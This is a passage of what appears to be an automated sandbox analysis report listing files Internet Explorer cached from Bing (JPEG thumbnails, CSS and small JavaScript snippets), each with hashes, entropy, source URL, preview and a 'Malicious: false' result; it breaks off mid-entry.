Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 1920x1080, frames 3
Category:	downloaded
Size (bytes):	344983
Entropy (8bit):	7.987666031914428
Encrypted:	false
SSDEEP:	6144:uhr6bFSzjuZdOJGR0u6FY7Kq1u9ktnbQ9uJ4g2FUXoIQc1tYJsDr0j:AwFEjSOJbuYphkZQ9uJX22TQc1qJwa
MD5:	DDCE5ED235CCBFFDA3F3735F75F80C0F
SHA1:	F266C24FA6F01459F51C97ADB00523BD214C653C
SHA-256:	78EB4A3213EBE7BB95F87D206AE29064D514628E6A430334D0E13756AA131DE5
SHA-512:	A0C70871BC52467524A0107F09B93C1BE11FFBD9CF68E1F3C567F97B0F810AA5B0CEE584AE1BA720F4A0B30F42E4290A06E99B9EA640437B0DABF158F2DB0625
Malicious:	false
IE Cache URL:	https://www.bing.com/th?id=OHR.Olympics125_ROW9889344454_1920x1080.jpg&rf=LaDigue_1920x1080.jpg
Preview:	......JFIF.............C............................................ "" .,,,.3333333333...C............................. ...... .......## ##,,),,3333333333......8....".......................................S........................!1A.."Q2aq..B...#R...b.3r....$C.....4Scs..%DT...u.5t....................................B.....................!..1AQ."aq.2.......BR..#br.$34..C....Ss...c............?.#...9.%qx..fL.Z..+p.....+...X.2m..,..X.<..W...}Dk.\J....f9.~.....b.../.7C&.V.Y.9`.\|.rV0'>.9........3._>.6.@...ML-...+].Q......]......'>.`e..W>.9.......\|.d...>.9..VJ.Es./.%e....,..y.7.....l.........g.4.3g)..d.99Bk....+r.:e$.ca.SH.\|.........m...}.YRO9...j.vd..9V..5..@e...{.<hA...:........9K#.....q.H...`....q>NiF=.[..2C.8X...*......L(.{.....s.3.W.!....{^..'..~....9.!..^A.y...1.A..[......I!a....i ..)L.D.D.8#.{../.0.\.M..r..qg3...t.N..^....L.I3'.........eQ.`3{........Yh...sK...k..I...m.o.t^%e...O..e&a.....9..v.x....&.E!.e..p.....n.UQ.x$S\........1}DqH

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\th[2].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	5038
Entropy (8bit):	7.913300499070733
Encrypted:	false
SSDEEP:	96:pPEvzuSDKiT+ERod8yBN0X/HmlRJJ+Fn8h3fzh+LZvwk:pPOCSmHhW/H4JJ+F8xzh+L9wk
MD5:	B4253CC44B582EBE891CBCDF0EF5CA8B
SHA1:	2D179CB4C761077F9EFB53625FE0B34D01AE3107
SHA-256:	9358906D6A9154E881A96AA4E9EDED3CCFDF3DC87B1B922B8FC4C09B970130F5
SHA-512:	6D3EA094D383E370E85CBDD445B76D8B2986B3F175145F8DB93112A63E48DF8FA1877BBFD25C2CA73CE66B2C1DECF7FAB01D9556855CF9DD1F9462D4432F608B
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1flcl7.img&ehk=n4zxNzUaGmaWvZYudQOxjiEm8O7nfdAvG5P6LGtz8zo%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....,.,.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..(...).C$..$gbp..z=.P..`Tz...i.&..+nO._..f7'......:........[ ..zf..a..E.U.(...(...(...(...(...(.6v.....!..V.k.@......N...>...Rxc.7:.i......#.cz..k.4..[i6...bL1c......../.8./.Iob.D+....#,.s..O.I..U7......z\|.i2m.Y...[..j......Xjodp'HXG..sw>.kJ...Fv2..(..z...D.9L.....b..-./..'....U....t..:}...DV-.u....>u..y...b...Xn.)' ..:........<>t.e..0...U....=.oN..f...8.(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\th[3].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	6321
Entropy (8bit):	7.930428341817175
Encrypted:	false
SSDEEP:	96:pPEFWBYC3qBZJigkG/FdQS5zwu3LHBaWc4TUpz35BH7zQx5+FixuTKn7xF:pPGYYCaHsSdQSy8LHBaV4TU15tnQub2F
MD5:	AFF39E85868825504E8463C5CDD11BD7
SHA1:	DEF891B9A50BA0F8DA20DC93D5DFD80FFE330478
SHA-256:	17C3E9E4228BCBF6E56795D6D8539791483D4B1A07E4A542F32282D99C94FB75
SHA-512:	019D7C4382FEEC7EA3E7E26C20620327A9644A10AA13AEA9161C70DB8AAAD22BE452D4AF3D25E2C153C875BBA7D7C4B68D1EB2E128A212FB3E95C1F2568D9EB7
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fkGZS.img&ehk=QmtuVlo%2bL0J6PRmZTHf5eMhHSpsWN3gSG5N88RqgPWU%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....,.,.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..4.._.]...O..X...k...^=.D........k.m.H..$....C.kP[I,%.K..........G\....x..v....B.......?..uT....K.q.Kn".YV01.x.3A..O.I.a:......R.!.#.e..YSqv{y....=y^...f......W.Yx...!.d.........+..\.....h.....S.L../X{.2..V...^.q../Q[...f.....)...m..z..#.d.......v.~&.......#.V..A..z..W.i..O.B.HF2Y....T. ..FO..7....*G...xJ....r}.........;....';...P..N.G.R?..T.fq..........x

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\th[4].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	3742
Entropy (8bit):	7.867632755628144
Encrypted:	false
SSDEEP:	48:pyYcuERAFyZuPbJdd/1D9uU8lPjsEO/pjKnTLdyW+Tm8bV8SANcggbCPdXBUAxaB:pPECyZ6DEU8SEOOLuSMHBggupBBYBzf
MD5:	76A08CC374F645ADFD2D574AEA9E1F67
SHA1:	EF6301792289F45E1914290BD3901BE5C3C08ED7
SHA-256:	6D4A8E2E63961DF63F503AC5A323D9FAD4F738E8720BD98C9A302794CB62847C
SHA-512:	19AADD5296DEA0C5F8D8165911C2ABF00A7BED8E98C7090448664715E99559D92DE6D6196EBE8D7A546A33704BD36A596A85F847DFFBAA3C2BC6E818707F31BA
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fjVGq.img&ehk=CUJArgAlYOIs%2fdufnie%2fHn0v5FuoJklhhKQfEtkFJ8I%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....,.,.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..r).r)..4..T..(..........'....m.m./....cjd..$D ..v...qj........}+SN.}.p.Y.F..[CQfI.Y..1......>.....!..8..2@.U....Yn.9..F..[....0.o.#)R.@....z3..o..$..3.1....{..%OQ......S..!$}.{}k............y....-Y.KF)qV .!....G....\|..K.@.R.J.3.-S(..W..~*......+CD...lZ..(d...P.b.?6.P3....Q.j7.}.4t...........8.......X.YC5.ae.....V"....n.0'..i.`.....a.v (fo....S....S\.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\th[5].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	4103
Entropy (8bit):	7.905624591549082
Encrypted:	false
SSDEEP:	96:pPE7azjJGnUjIWZ3fWfX6c11tzgyuBDgYNgdZ/z:pPQkJHsccXV11tzgDBDgYaz
MD5:	D79048C62D1919EBD68359F962DE7D0C
SHA1:	56CA765E294DD844FCD7D56339AC81647DEF4D8E
SHA-256:	92B97018B5A41B256E26BDCB5764E3076A44FF3B2DD3C89FC3E1C20A024EA559
SHA-512:	1F91EC0DF06E58899F1EC644F654C1CE069DDFC6DFB6B8F545B6C66D71867797D420D899D7152EE99729B86888589E3FBED27CE56277B3B2DB3C4FFD829AEA4B
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fiIcx.img&ehk=u4rkWZofWQoQJ11NQ%2fu8JYLsufAv%2fujiPAfuy3supnc%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....`.`.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..H..C...7CVWED..1a..-.....<R].O....(..6...w..T.R..mS..6.%.@b.......Uf...C.%.o..T....M..N...]Iw4P..<[.I.3).)$... d{sM..g.V..S...~..W...khU}H..B.)\.!..&'M.F..f.:.'#.tFI..b2)P..U.`..m;.%".......AKE..))i. .......bo.j.......A..4.,...<.K4.$..pOz.........-:..... .'''.....v..T.\g.O.=MQ.E..fV..\|.l/....U.....ZRB..Q.~..V.....K.o(r.E.....t$.....P.<H..3.~......{.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\th[6].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	6319
Entropy (8bit):	7.921601448672384
Encrypted:	false
SSDEEP:	96:pPE3Um+CGqdS0RiboPJ5pa8ao3aO+MmlFKzJC1u/b8D8z2Lu0J+Vwe7qC:pPWrpU+5Rao3/LmuzJCM/bzgAz
MD5:	35639C3C895B57D5E4B5F764ABE5D940
SHA1:	269D5DE5F01924ADF9665A9F4D163EA553794BAA
SHA-256:	EA18037D4EB9771263CCA340B2AD31DA0CA807DAE7CDF8FD437266A853DE3D00
SHA-512:	6EB07EF59332D95985DA086B8FC1CA8A762D31CC6FCC14418C736CF211FB5B06381F876BF77C334C7140800BA5DBDEB1EAF07A401E47F0C4ABDEAD2D83638982
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fkJLx.img&ehk=ab4NFwKPiOUcoMjMzCCRK%2fouai5ROn4RlXwrt3nrHLY%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....,.,.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....L..]..:0..!t3<.....?x}k....tEgv..")ff'........s.....Q..=...S....W.z....x...........X......}..Z......[}....\......>....X(6i.lbi..u[..P...O...y..E..l...%..:....Qwu.?...qz..u._r.\|.B...........M(..$.p...).9.z....zW......[......?C.m...dE..(.h.M.....v<..q..S6Yn...G.<....T.>V..\|T.O]>............-.....j.?L..X....S.@.H...L...P".Y..TT...~O..!..n....ecp.n..H...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\th[7].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	5639
Entropy (8bit):	7.924649163999842
Encrypted:	false
SSDEEP:	96:pPECr5OAvlqY/K2/QGjfn7I0xXDUduR+Ksxd18Up0FlXDmR6vhOjUEbDdl:pPnOAvlh/KXGf7LxXDUd2kd6XbbOgEbT
MD5:	CB467408920B249304F096825FAD3555
SHA1:	34B1FB66BB1993D6F421D03E60571B2D6B8BD82B
SHA-256:	6244F0B65FD5FDB55035289E22AE746FDA4FB8A73FA5099AC1765FE40EBF15F3
SHA-512:	66499CCD7720806D8D469F36F1BA68B8654C4113F6EC8952C30B0B7A5456CE7B942E53538902653231505407003DF5D6EC55402114F39FEB6EE135B6B803BC60
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fk8uF.img&ehk=3yVhb5eiLjVCrnzpfMt8vNf6P4rYdQzaUR6b8msklWU%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....,.,.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....I.5Zo1..{V}.W..3.w...@..>..^...8I.U..b..k........<..1J".[..>..."f...`.U...$V..C...ZfzF...V.R...-....r=G4.....LD....[.D\......w.h..R1&..z...'.1.#..i.w..{PH*p.@/..B..&..9..{]].0..{.RT....>.....0.Y.Q...3[).....q.....>.}OX...Y..:....r.@k.@..Fy0.<....i.j.......t.9\gp..j.v...~.+..#...&q.5zH.JYW.cry.,...9o.3..r...G .z..j.'..{X.-t..(S8.;...Q....N.<...._....'..Z.:.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\BJp5dDFvoQm12CHBfp4PC6aiyg4.gz[1].css Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	73202
Entropy (8bit):	5.307816444057117
Encrypted:	false
SSDEEP:	1536:kcGJTL/mKzAAFl7JlsG0GRe1cxnoWC1kuyOYkTs/Kun:LGJ4AFl7JlsG0GRCcxnoWC1kuyOYkT0
MD5:	C912DA2683E71660357A600EE34A7873
SHA1:	5DFD028307D4CD8A66492E807B848FEC177AEC3A
SHA-256:	525D57B5D38D8212993C66A33F4CD15EDBD0F260A5AFCF539D092047A908D6EE
SHA-512:	31E2A56C27CC037AD903292DFA518E86642C2A610E9923DD4F7A2FD1347167E042E957A85E98561CC9178318D121DEA3EF165F88EEC79915D0687939DC25BBC9
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/BJp5dDFvoQm12CHBfp4PC6aiyg4.gz.css
Preview:	.scopes{color:rgba(255,255,255,.8);display:inline-block;left:0;white-space:nowrap;list-style:none;line-height:39px}.scopes.sc_hide{display:none}.scopes .scope{font-size:.8125rem;cursor:pointer;vertical-align:middle;margin-right:36px;background-repeat:no-repeat;position:relative;display:inline-block}.scopes .scope:hover,.scopes .scope.focusin{color:#fff}.scopes .scope:hover .overflow_menu,.scopes .scope.focusin .overflow_menu{transform:none}.scopes .scope:focus-within .overflow_menu{color:#fff;transform:none}.scopes .scope a{color:inherit;cursor:pointer;text-decoration:none}.scopes .scope.dots{margin-bottom:8px;font-weight:bold}.scopes .scope.dots:before{display:inline-block;content:'. . .'}.scopes .scope.dots.hover_focus:focus{outline:none}.scopes .scope .overflow_menu{color:#666;cursor:pointer;transform:scale(0);position:absolute;background-color:#fff;border-radius:6px;padding:4px 0;box-shadow:0 4px 12px 1px rgba(0,0,0,.14);min-width:155px}.scopes .scope .overflow_menu .overflow_item{

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\FvkosEDIbuCPhD1mwLAN-LJ7Coc.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	328
Entropy (8bit):	4.873055432724158
Encrypted:	false
SSDEEP:	6:qLYyKBrT1rDvMhkXkJGf9FM/fwT0EqeGXGQW4RiXUqkvJOyEFnVQE4MDUKOKHsM:yWFBb3yG3cJO1Vi5rgsM
MD5:	CDDDAB121EB434876615391AD4107B9A
SHA1:	8038444C80B8E76DDF8AE5C00AB5784207E5AEFF
SHA-256:	243D212A9FF764CCDA9B19C3C823B2F408A0718E56A3E7A8B5B533E108DB56CB
SHA-512:	1964D190BF10B9D686626097188B6D0B2A02C0039993D97A135355D8A44399DED3D42465D1EDC7B55287AA9380835373FD921C00CF92CE234CCE92B0C2453084
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/FvkosEDIbuCPhD1mwLAN-LJ7Coc.gz.js
Preview:	var BingAtWork;(function(n){var t;(function(n){function t(t){t.isAuthenticated&&n.raiseAuthEventAndLog(t)}function i(n){n&&n.length==2&&t(n[1])}n.bindToConditionalSignIn=function(){sj_evt.bind("ssofirstquery",function(n){return i(n)},!0,null,!1)}})(t=n.ConditionalSignIn\|\|(n.ConditionalSignIn={}))})(BingAtWork\|\|(BingAtWork={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\HdepnBaFj-yarvouFUIlfV4Q9D8.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	3201
Entropy (8bit):	5.369958740257869
Encrypted:	false
SSDEEP:	48:rmo6TIPx85uuYPXznTBB0D6e7htJETfD8QJLxDO7KTUx42Z3rtki:sYuYPXznb0DR7dw8QhIWTQrt7
MD5:	4AADD0F43326BAD8EFD82C85B6D9A20E
SHA1:	4093FC4AB9821B646D64C98051A1CF0679CB2188
SHA-256:	968849A1E6AAED249C78B6CF1AF585AB6C8482A8C5398AB1D2DC3CB92E9EA68F
SHA-512:	616B06A6E3B2385E5487C819FC7F595D473B2F14E8CB76EFB894EDEAB3B26D2C9B679A9B275D924BECC37E156C70B0B56126CCFB62C8B23ABBA9DE07BD93D72A
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/HdepnBaFj-yarvouFUIlfV4Q9D8.gz.js
Preview:	var __spreadArrays=this&&this.__spreadArrays\|\|function(){for(var i=0,n=0,r=arguments.length;n<r;n++)i+=arguments[n].length;for(var u=Array(i),f=0,n=0;n<r;n++)for(var e=arguments[n],t=0,o=e.length;t<o;t++,f++)u[f]=e[t];return u};define("clientinst",["require","exports"],function(n,t){function it(){a=0;u()}function u(){var n,s,t,o;e&&clearTimeout(e);for(n in i)if(i.hasOwnProperty(n)){s=n!=_G.IG?_G.lsUrl.replace(_G.IG,n):_G.lsUrl;for(t in i[n])i[n].hasOwnProperty(t)&&(o=b+s+"&TYPE=Event."+t+"&DATA="+f("[")+i[n][t]+f("]"),ut(o)\|\|(g().src=o));delete i[n]}typeof r!="undefined"&&r.setTimeout&&(e=r.setTimeout(u,w))}function rt(){return _G!==undefined&&_G.EF!==undefined&&_G.EF.logsb!==undefined&&_G.EF.logsb===1}function ut(n){return rt()?ft(n,""):!1}function ft(n,t){var i="sendBeacon",r=!1;if(navigator&&navigator[i])try{navigator[i](n,t);r=!0}catch(u){}return r}var y,d,i,g,o,p;t.__esModule=!0;t.Wrap=t.Log2=t.LogInstrumented=t.Log=t.LogCustomEvent=void 0;var r=n("env"),s=n("event.native"),h=n("e

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\MDr1f9aJs4rBVf1F5DAtlALvweY.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	257
Entropy (8bit):	4.781091704776374
Encrypted:	false
SSDEEP:	3:qMH4WXMHwmnIB4JmhyfAIB4Jmml0X2IUJIB4JrNOsK1A4JWW7jKYHVA4JRGYdA4S:q6XzD4jr43ldI74FNQlNj7jM9TlMlbSr
MD5:	51A9EA95D5ED461ED98AC3D23A66AA15
SHA1:	62FBB857B873BD79BEE7F16D0766A452FA2798A3
SHA-256:	A5B4181611E951FAECD6C164D704569C633E95FE68D3D1934B911A089EBF70E8
SHA-512:	CEE4231894F82627E50EC746D7C150E5303A1BF8864D7B084173B9D17663A27CC2915F5D0D4DC0602FE26D9EAA10DD98CF3422E7601F520EF34D45C9A506D6F7
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/MDr1f9aJs4rBVf1F5DAtlALvweY.gz.js
Preview:	var BM=BM\|\|{};BM.rules={"#sc_hdu":[-1,-1,1],"#hp_id_hdr":[-1,-1,1],"#hp_container":[-1,-1,1],".hp_sw_logo":[-1,-1,0],".b_searchboxForm":[-1,-1,0],"#crs_pane":[-1,-1,0],"#sb_foot":[-1,-1,0],"#sh_rdiv":[-1,-1,0],"img,div[data-src]":[-1,-1,0],iframe:[-1,-1,0]}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\MstqcgNaYngCBavkktAoSE0--po.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	391
Entropy (8bit):	5.184440623275194
Encrypted:	false
SSDEEP:	12:2Qxjl/mLAHPWEaaGRHkj6iLUEkFKgs5qHT:2QC8H+aGRHk+i1kFKgs5qHT
MD5:	55EC2297C0CF262C5FA9332F97C1B77A
SHA1:	92640E3D0A7CBE5D47BC8F0F7CC9362E82489D23
SHA-256:	342C3DD52A8A456F53093671D8D91F7AF5B3299D72D60EDB28E4F506368C6467
SHA-512:	D070B9C415298A0F25234D1D7EAFB8BAE0D709590D3C806FCEAEC6631FDA37DFFCA40F785C86C4655AA075522E804B79A7843C647F1E98D97CCE599336DD9D59
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/MstqcgNaYngCBavkktAoSE0--po.gz.js
Preview:	(function(){function n(){var n=_ge("id_p"),t,i;n&&(t="",i="",n.dataset?(t=n.dataset.src,i=n.dataset.alt):(t=n.getAttribute("data-src"),i=n.getAttribute("data-alt")),t&&t!=""&&(n.onerror=function(){n.onerror=null;n.src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNgYAAAAAMAASsJTYQAAAAASUVORK5CYII=";n.alt=""},n.onload=function(){n.alt=i},n.src=t))}n()})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\NGDGShwgz5vCvyjNFyZiaPlHGCE.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	252
Entropy (8bit):	4.837090729138339
Encrypted:	false
SSDEEP:	6:qbLkyK4hImTzBwhLM1whA+XzFE8KSiQLGPQQgnaqza:IQD2IkzaLMGAMzDBVKY+ia
MD5:	1F62E9FDC6CA43F3FC2C4FA56856F368
SHA1:	75ADD74C4E04DB88023404099B9B4AAEA6437AE7
SHA-256:	E1436445696905DF9E8A225930F37015D0EF7160EB9A723BAFC3F9B798365DF6
SHA-512:	6AADAA42E0D86CAD3A44672A57C37ACBA3CB7F85E5104EB68FA44B845C0ED70B3085AA20A504A37DDEDEA7E847F2D53DB18B6455CDA69FB540847CEA6419CDBC
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/NGDGShwgz5vCvyjNFyZiaPlHGCE.gz.js
Preview:	var Button;(function(){WireUp.init("button_init",function(n){var t=n.getAttribute("data-appns"),i=n.getAttribute("data-k");sj_be(n,"click",function(){Log.Log("Click","Button","",!1,"AppNS",t,"K",i,"Category","CommonControls")})})})(Button\|\|(Button={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\NewErrorPageTemplate[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1612
Entropy (8bit):	4.869554560514657
Encrypted:	false
SSDEEP:	24:5Y0bQ573pHpACtUZtJD0lFBopZleqw87xTe4D8FaFJ/Doz9AtjJgbCzg:5m73jcJqQep89TEw7Uxkk
MD5:	DFEABDE84792228093A5A270352395B6
SHA1:	E41258C9576721025926326F76063C2305586F76
SHA-256:	77B138AB5D0A90FF04648C26ADDD5E414CC178165E3B54A4CB3739DA0F58E075
SHA-512:	E256F603E67335151BB709294749794E2E3085F4063C623461A0B3DECBCCA8E620807B707EC9BCBE36DCD7D639C55753DA0495BE85B4AE5FB6BFC52AB4B284FD
Malicious:	false
Preview:	.body..{.. background-repeat: repeat-x;.. background-color: white;.. font-family: "Segoe UI", "verdana", "arial";.. margin: 0em;.. color: #1f1f1f;..}.....mainContent..{.. margin-top:80px;.. width: 700px;.. margin-left: 120px;.. margin-right: 120px;..}.....title..{.. color: #54b0f7;.. font-size: 36px;.. font-weight: 300;.. line-height: 40px;.. margin-bottom: 24px;.. font-family: "Segoe UI", "verdana";.. position: relative;..}.....errorExplanation..{.. color: #000000;.. font-size: 12pt;.. font-family: "Segoe UI", "verdana", "arial";.. text-decoration: none;..}.....taskSection..{.. margin-top: 20px;.. margin-bottom: 28px;.. position: relative; ..}.....tasks..{.. color: #000000;.. font-family: "Segoe UI", "verdana";.. font-weight:200;.. font-size: 12pt;..}....li..{.. margin-top: 8px;..}.....diagnoseButton..{.. outline: none;.. font-size: 9pt;..}.....launchInternetOptionsButton..{.. outline: none;

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\RXZtj0lYpFm5XDPMpuGSsNG8i9I.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	1220
Entropy (8bit):	5.024732410536042
Encrypted:	false
SSDEEP:	24:6Vj1V5FrGj6BBEEo6maDU6CWi4dDRRE0Slc7qHy5++vY:8v5TBG6U6C+DLSiL+P
MD5:	E34F2CDADA9986F52CCFAB129645ABAC
SHA1:	93FF6CA74EB48A6825F9BC21BEE52159987C0A82
SHA-256:	79C181E7D29CF735AE99FD86C42934D7FD6FB51E6481D788E1CB812C7DC63DF6
SHA-512:	671EF1DB12BEE74E8E6BAEE8850F4F6A278E51F2236A851A24D889CE40040273088B2D206F2AA42BD1475F4F88F7B4420BC4CE6922023DE205308C56A3C96A4C
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/RXZtj0lYpFm5XDPMpuGSsNG8i9I.gz.js
Preview:	var Feedback;(function(n){var t;(function(){"use strict";function u(t,i){var u=t.getAttribute("id"),f;u\|\|(u="genId"+n.length,t.setAttribute("id",u));f=new r(u,i,t.getAttribute(i));n.push(f)}function i(n,t,i){i===null?n.removeAttribute(t):n.setAttribute(t,i)}function t(n,t,r,f){for(var e,s=_d.querySelectorAll(r),o=0;o<s.length;o++)(e=s[o],f&&e.id&&f[e.id])\|\|(u(e,n),i(e,n,t))}function f(n){for(var u=_d.querySelectorAll(n),e=1,f={},t,i,r=0;r<u.length;++r){if(t=u[r],!t.id){for(;;)if(i="fbpgdgelem"+e++,!_ge(i))break;t.id=i}f[t.id]=t}return f}function e(){var i="tabindex",r="-1",n=f("#fbpgdg, #fbpgdg *");t(i,r,"div",n);t(i,r,"svg",n);t(i,r,"a",n);t(i,r,"li",n);t(i,r,"input",n);t(i,r,"select",n);t("aria-hidden","true","body :not(script):not(style)",n)}function o(){for(var r,t=0;t<n.length;t++)r=_d.getElementById(n[t].id),r&&i(r,n[t].attributeName,n[t].originalAttributeValue);n.length=0}function s(){typeof sj_evt!="undefined"&&(sj_evt.bind("onFeedbackStarting",function(){e()}),sj_evt.bind("onF

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\Xp-HPHGHOZznHBwdn7OWdva404Y.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	576
Entropy (8bit):	5.192163014367754
Encrypted:	false
